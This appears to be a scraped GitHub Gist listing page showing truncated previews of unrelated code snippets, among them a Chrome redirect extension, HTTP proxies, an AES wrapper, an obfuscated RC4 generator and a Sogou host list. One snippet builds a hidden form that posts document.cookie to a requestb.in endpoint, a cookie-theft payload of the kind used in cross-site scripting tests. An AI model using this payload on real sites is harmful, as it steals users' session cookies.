Have you eaten yet? 你吃了没?
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var xip_url = 'http://127.0.0.1.xip.io:5000/api'; | |
chrome.webRequest.onBeforeRequest.addListener( | |
function(info) { | |
console.log(info.url + ' is redirected to ' + xip_url); | |
return {redirectUrl: xip_url}; | |
}, { | |
urls: [ | |
'http://127.0.0.1:5000/notexist', | |
'http://127.0.0.1.xip.io:5000/notexist' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# to get the same interfaces as https://github.com/bozhu/AES-Python | |
from Crypto.Cipher import AES as _AES | |
from Crypto.Util.number import long_to_bytes, bytes_to_long | |
class AES: | |
def __init__(self, master_key, block_size=128): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var http = require('http'); | |
var url = require('url'); | |
http.createServer(function(client_request, client_response) { | |
var parsed_url = url.parse(client_request.url); | |
var proxy_request = http.request({ | |
host: parsed_url.host, | |
path: parsed_url.path, | |
method: client_request.method, | |
headers: client_request.headers | |
}, function(proxy_response) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// a reminder for myself | |
var key = 'aaa'; | |
var val = 'bbb'; | |
var obj = {key: val}; | |
console.log(obj); | |
// you will get {'key': 'bbb'} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# this script doesn't work anymore due to changes/upgrades of the exam booking website | |
# driver license number | |
DLNumberA = "S1111" | |
DLNumberB = "22222" | |
DLNumberC = "33333" | |
# post code |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var ifr = document.createElement('iframe'); | |
var frm = document.createElement('form'); | |
frm.setAttribute("action", "http://requestb.in/xxx"); | |
frm.setAttribute("method", "post"); | |
var inp = document.createElement('input'); | |
inp.type = 'hidden'; | |
inp.name = 'cookies'; | |
inp.value = document.cookie; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
__copyright__ = "Copyright (C) 2012 Bo Zhu http://zhuzhu.org" | |
def ARC4(OOO4): | |
"""A fully functional RC4 keystream generator""" | |
O400,O4O0,O40O,O4OO=range(0400),0000,0000,0000 | |
for OO04 in range(0400):O4O0=(O4O0+O400[OO04]+OOO4[OO04%len(OOO4)])%0400;O400[O4O0],O400[OO04]=O400[OO04],O400[O4O0] | |
while-1:O40O=(O40O+0001)%0400;O4OO=(O4OO+O400[O40O])%0400;O400[O40O],O400[O4OO]=O400[O4OO],O400[O40O];yield O400[(O400[O40O]+O400[O4OO])%0400] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
''' | |
A blocking HTTP proxy based on non-blocking Tornado... | |
-- for the sake of WSGI compatibility -- | |
also without HTTPS support... | |
''' | |
from tornado import web, wsgi, httpclient, escape |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
['h0.cmc.bj.ie.sogou.com', | |
'h0.cnc.bj.ie.sogou.com', | |
'h0.crc.bj.ie.sogou.com', | |
'h0.ctc.bj.ie.sogou.com', | |
'h0.dxt.bj.ie.sogou.com', | |
'h0.edu.bj.ie.sogou.com'] |